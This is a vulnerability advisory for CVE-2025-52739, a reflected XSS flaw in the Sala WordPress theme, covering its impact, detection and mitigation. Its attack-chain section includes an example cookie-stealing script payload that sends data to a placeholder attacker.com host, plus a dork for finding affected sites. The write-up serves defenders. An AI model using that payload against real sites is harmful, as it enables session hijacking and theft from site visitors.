CVE-2025-52739: 
WordPress vulnerability analysis and mitigation

CVE-2025-52739 is a Reflected Cross-Site Scripting (XSS) vulnerability in the uxper Sala WordPress theme, classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). It affects all versions of the Sala theme through 1.1.3 and was discovered by Tran Nguyen Bao Khanh of VCI - VNPT Cyber Immunity, reported on July 5, 2025, and published on December 31, 2025. As of the time of writing, no official patch is available from the vendor. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), as assigned by Patchstack (Patchstack).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), allowing attacker-controlled data to be reflected back in the HTTP response without adequate sanitization or encoding. This is a Reflected XSS variant, meaning the malicious payload is embedded in a crafted URL or request and executed in the victim's browser when they interact with the link. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — specifically, a victim must click a malicious link or visit a crafted page. The vulnerability is classified under OWASP Top 10 A3: Injection (Patchstack).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement of page content, or delivery of further malware payloads to site visitors. The CVSS scope is marked as Changed, indicating that the impact extends beyond the vulnerable component itself, affecting confidentiality, integrity, and availability at a low level each (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no confirmed evidence of in-the-wild exploitation. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Sala theme (versions ≤ 1.1.3) via tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/themes/sala).
2. Identify vulnerable parameter: Analyze the theme's front-end pages and URL parameters that reflect user input without sanitization.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user via phishing email, social media message, or other social engineering vector.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or redirection to attacker-controlled infrastructure (Patchstack).

• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting a WordPress site running the Sala theme; unusual referrer headers in web server logs pointing to crafted URLs.
• Logs: WordPress or web server access logs showing requests with URL-encoded script tags or JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=) in query string parameters.
• Browser/Client-Side: Unexpected redirects or pop-ups experienced by users visiting the site; browser console errors related to cross-origin script execution.

As of the publication date, no official patch has been released by the Sala theme developer (uxper). Site administrators are advised to remove or replace the Sala theme until a patched version becomes available. Patchstack has issued a virtual patching/mitigation rule for subscribers that blocks exploitation attempts without requiring a code-level fix. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure. Monitor the Patchstack vulnerability database for updates on an official patch release (Patchstack).

The vulnerability was reported through Patchstack's Vulnerability Disclosure Program by researcher Tran Nguyen Bao Khanh of VCI - VNPT Cyber Immunity. Patchstack published the advisory and noted the lack of an official vendor patch, issuing a virtual mitigation rule for its users. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).